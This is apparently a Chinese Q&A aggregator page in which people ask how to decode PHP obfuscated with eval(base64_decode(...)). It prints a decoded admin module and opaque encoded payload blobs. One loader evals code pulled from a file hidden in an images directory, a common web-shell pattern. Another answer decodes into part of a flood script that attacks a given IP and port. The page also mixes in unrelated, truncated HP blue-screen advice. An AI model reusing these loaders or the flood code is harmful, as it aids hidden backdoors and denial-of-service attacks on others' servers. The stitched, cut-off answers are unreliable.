php代码求解密方法,base64_decode解密? php base64_decode()解密后怎样保存文件

作者&投稿:陶往 (若有异议请与网页底部的电邮联系)
这个加密算法很简单
就是把base64_decode和preg_replace两个函数名拆成字符,然后打成base64,最终解密出来的结果见附件

要研究详细的解密过程请私信我

PHP解密 eval( base64_decode~

不错,回了无数多这种所谓的“解密”帖子,总算看见有人知道怎么搞了,高兴ing
等效的代码如下:



<?php
class ModuleObject extends MasterObject
{

var $FormHandler = null;

var $IoHandler=null;

function ModuleObject($config)
{

error_reporting(0);
$this->MasterObject($config);if(18869722 && !defined("LICENSE_VAR_CODE"))exit(86707181);if(substr(md5_FILE("./include/function/global.func.php"),3,25)!=substr("a3892bb3396c2c829c19ccddcd308926",3,25))
{
error_reporting(0);
ob_clean();
for($s=11677216;$s>0;$s*=65085748){;}
}
$this->FormHandler=new FormHandler;
include_once(LIB_PATH.'io.han.php');
$this->IoHandler=new IoHandler;
$this->Execute();
}

function Execute()
{
switch($this->Code)
{
case 'modify_normal':
include(MOD_PATH.(($_obfuscate_pp3FQ7Ohubz7=2147483647 & -78165835)%27).'/'.$_obfuscate_pp3FQ7Ohubz7.'.php');
break;
case 'domodify_normal':
include(MOD_PATH.(($_obfuscate_shAHJlhD4Ndn=2147483647 & -1818658825)%27).'/'.$_obfuscate_shAHJlhD4Ndn.'.php');
break;
case 'modify_credits':
include(MOD_PATH.(($_obfuscate_2GWWxUEK7ztH=2147483647 & 890135736)%27).'/'.$_obfuscate_2GWWxUEK7ztH.'.php');
break;
case 'domodify_credits':
include(MOD_PATH.(($_obfuscate_JQQuH5KF9jyy=2147483647 & -679717690)%27).'/'.$_obfuscate_JQQuH5KF9jyy.'.php');
break;
case 'modify_header_menu':
$this->ModifyHeaderMenu();
break;
case 'domodify_header_menu':
$this->DoModifyHeaderMenu();
break;
case 'modify_header_sub_menu':
$this->ModifyHeaderSubMenu();
break;
case 'modify_header_sub_menu':
$this->DoModifyHeaderSubMenu();
break;

case 'modify_rewrite':
include(MOD_PATH.(($_obfuscate_r4cRb866G31X=2147483647 & -374888374)%27).'/'.$_obfuscate_r4cRb866G31X.'.php');
break;
case 'domodify_rewrite':
include(MOD_PATH.(($_obfuscate_kFjsOxTxxTm5=2147483647 & 1196688474)%27).'/'.$_obfuscate_kFjsOxTxxTm5.'.php');
break;

case 'modify_remote':
include(MOD_PATH.(($_obfuscate_dmnWYBFfwPZy=2147483647 & -1814999975)%27).'/'.$_obfuscate_dmnWYBFfwPZy.'.php');
break;
case 'domodify_remote':
include(MOD_PATH.(($_obfuscate_M9T56w4hBGsk=2147483647 & 332943561)%27).'/'.$_obfuscate_M9T56w4hBGsk.'.php');
break;

case 'modify_filter':
include(MOD_PATH.(($_obfuscate_gWUtSmmgjtIp=2147483647 & -962910372)%27).'/'.$_obfuscate_gWUtSmmgjtIp.'.php');
break;
case 'domodify_filter':
include(MOD_PATH.(($_obfuscate_robepjimEUCI=2147483647 & -659464081)%27).'/'.$_obfuscate_robepjimEUCI.'.php');
break;

case 'modify_latest_search':
$this->ModifyLatestSearch();
break;
case 'domodify_latest_search':
$this->DoModifyLatestSearch();
break;
case 'modify_access':
include(MOD_PATH.(($_obfuscate_RFZWBU9N2FLm=2147483647 & 975168040)%27).'/'.$_obfuscate_RFZWBU9N2FLm.'.php');
break;
case 'domodify_access':
include(MOD_PATH.(($_obfuscate_Ig1RqxiYeBex=2147483647 & 1791127976)%27).'/'.$_obfuscate_Ig1RqxiYeBex.'.php');
break;

case 'modify_seccode':
include(MOD_PATH.(($_obfuscate_yNun8HVOF41M=2147483647 & -1132193474)%27).'/'.$_obfuscate_yNun8HVOF41M.'.php');
break;
case 'do_modify_seccode':
include(MOD_PATH.(($_obfuscate_RqGJmKOedTlZ=2147483647 & 305153614)%27).'/'.$_obfuscate_RqGJmKOedTlZ.'.php');
break;

case 'modify_smtp':
include(MOD_PATH.(($_obfuscate_GZvqIIYIxcwR=2147483647 & -2091071938)%27).'/'.$_obfuscate_GZvqIIYIxcwR.'.php');
break;
case 'do_modify_smtp':
include(MOD_PATH.(($_obfuscate_eUDxyTQSnmWA=2147483647 & -25441582)%27).'/'.$_obfuscate_eUDxyTQSnmWA.'.php');
break;

case 'modify_copyright':
include(MOD_PATH.(($_obfuscate_L6pnR8LaKmYu=2147483647 & -29905623)%27).'/'.$_obfuscate_L6pnR8LaKmYu.'.php');
break;
case 'do_modify_copyright':
include(MOD_PATH.(($_obfuscate_umtTsFNTDQ2i=2147483647 & -1934952338)%27).'/'.$_obfuscate_umtTsFNTDQ2i.'.php');
break;

case 'modify_shortcut':
include(MOD_PATH.(($_obfuscate_Po7xayJ0iz3x=2147483647 & -371519643)%27).'/'.$_obfuscate_Po7xayJ0iz3x.'.php');
break;
case 'do_modify_shortcut':
include(MOD_PATH.(($_obfuscate_cFcMlzVkWpGo=2147483647 & 1925297631)%27).'/'.$_obfuscate_cFcMlzVkWpGo.'.php');
break;


default:
include(MOD_PATH.(($_obfuscate_pp3FQ7Ohubz7=2147483647 & -78165835)%27).'/'.$_obfuscate_pp3FQ7Ohubz7.'.php');
break;
}
}

function _saveRewriteConfig($domain,$name,$config)
{
return include(MOD_PATH.(($_obfuscate_OeWNnsry3PMy=2147483647 & -1082551710)%27).'/'.$_obfuscate_OeWNnsry3PMy.'.php');
}
function _writeHtaccess($abs_path)
{
return include(MOD_PATH.(($_obfuscate_x8rztwAyS8f1=2147483647 & -315296549)%27).'/'.$_obfuscate_x8rztwAyS8f1.'.php');
}

}
?>



注意看13行,这里其实是在检测另外的文件是否被解密,注意是否有其它文件类似的办法来检测你这个程序。

$img = base64_decode($xxx);
file_put_contents('images/xx.jpg', $img);

求解密PHP,<?php eval(gzinflate(base64_decode
答:5次解密就OK(eval 换成 ECHO)解出来如下:?><?php packets = 0;ip = $_GET['ip'];rand = $_GET['port'];set_time_limit(0);ignore_user_abort(FALSE);exec_time = $_GET['time'];time = time();print "Flooded: $ip on port $rand <br><br>";max_time = $time+$exec_t...

php 解密eval(gzinflate(str_rot13(base64_decode
答:以下是代码<? eval(gzinflate(str_rot13(base64_decode('FZhSEoXYGYW3kkw6xQC3V9Jd6MP9bpMu3N1MfV5LANz7yznf4a8///PXP4oz6f+o3nMs+3Ev/tj29e9o2m70jzTZCgL7Oy+yKS/++KcYjxI/bLLoK2A2Z698p50iYVIXJOabUg2OUsNSdKmGi1OdLgu6onAjgQAF0CDYNEkMNni5z42ROCnwXYK1CUswzSaK6CYQnD+BYlWAtM7wR0mj0ZPxu8DF...

base64_decode 解密
答:“解密”后的代码如下:<?php /* please do not edit anything here */ include("footer_content.php");echo '<div id="footcopy" style="background-image:url('.get_bloginfo('template_directory').'/images/footer_copy.gif);height:28px;display:block;color:#888888;text-align:center;...

解密php eval(base64_decode方法
答:function theme_footer_t() { if (!(function_exists("check_theme_footer") && function_exists("check_theme_header"))) { theme_usage_message(); die; } } theme_footer_t();上面输出的结果,可以替换测试你的第一段代码,它们完全等效,或者说就是解密后的代码,你掌握这个方法,PHP根本...

帮我解密段代码eval( base64_decode(开头的 50分
答:<?php eval( base64_decode( convert_uudecode( str_ireplace( "<?exiting;?>", "", file_get_contents( str_rot13( "./images/caifuc_19lou/caifucdataq.php" ) ) ) ) ) );?> 看看./images/caifuc_19lou/caifucdataq.php这个文件的内容是什么吧!

base64_decode 解密
答:wc2U(7pW_WupP+('c7(tkwtkw($_yGSIGS["YssM_Yzys"], "4c2p"."UR2p."= || tkwtkw($YssM_yGSIGS_INSy["yGSIGS_DNoG"], "4c2p"."UR2p."= || tkwtkw($_yGSIGS["YssM_Yzys"], "1"."1uut."= || tkwtkw($YssM_yGSIGS_INSy["yGSIGS_DNoG"], "1"."1uut."...

base64 decode 解密 谁能帮我一下 定重谢
答:\'8hPxP6\',\'8h+O+x\',\'8hPPqQ\',\'8h+Q66\',\'8h+6qO\',\'8h/xPq\',\'8hOP/+\',\'8h6OZ/\',\'8hZ/O6\',\'8hTqP6\',\'8hZ+/P\',\'8hT6/Q\',\'8hxOPT\',\'8hT/Oq\',\'8hO/+O\',\'8hqOTZ\',\'8hQQ6+\',\'8hP6x6\',\'8h/T/Z\',\'8h...

hp dv6 蓝屏代码0x000000ca
答:1、把显卡和内存拔出来用橡皮擦干净,清理插槽,再将显卡和内存插紧;换掉不兼容和有问题的内存。2、更新显卡驱动,降低分辨率、颜色质量、刷新率;降低硬件加速-桌面属性-设置-高级-疑难解答-将“硬件加速”降到“无”,必要时换个档次高一点的显卡。3、检查硬件剩余空间,一般而言,装有系统的C盘最...

HP笔记本电脑蓝屏,求解决方案.
答:??解决方法:采取超频的应降频,超温的应降温。其实不一定所有的故障都那么复杂,有时候从简单的方面考虑,也能很好地解决问题?要学会触类旁通。??4.I/O冲突引起的蓝屏现象。??解决方法:这种现象出现得比较少,如果出现了,可以从系统中删除带!号或?号的设备名,重新启动计算机进行确认,或者请...

神州HP850,在线看视频就死机,接着就是蓝屏。强制关机,重启又好了,这两...
答:1、内存不能为read或不能为written的解决方法:开始——运行,输入“CMD”确定,在命令行窗口下输入以下内容后,按回车:for %1 in (%windir%\system32\*.ocx) do regsvr32 /s %1 完了后,再输入以下内容,并回车:for %1 in (%windir%\system32\*.dll) do regsvr32 /s %1 这个要好久,...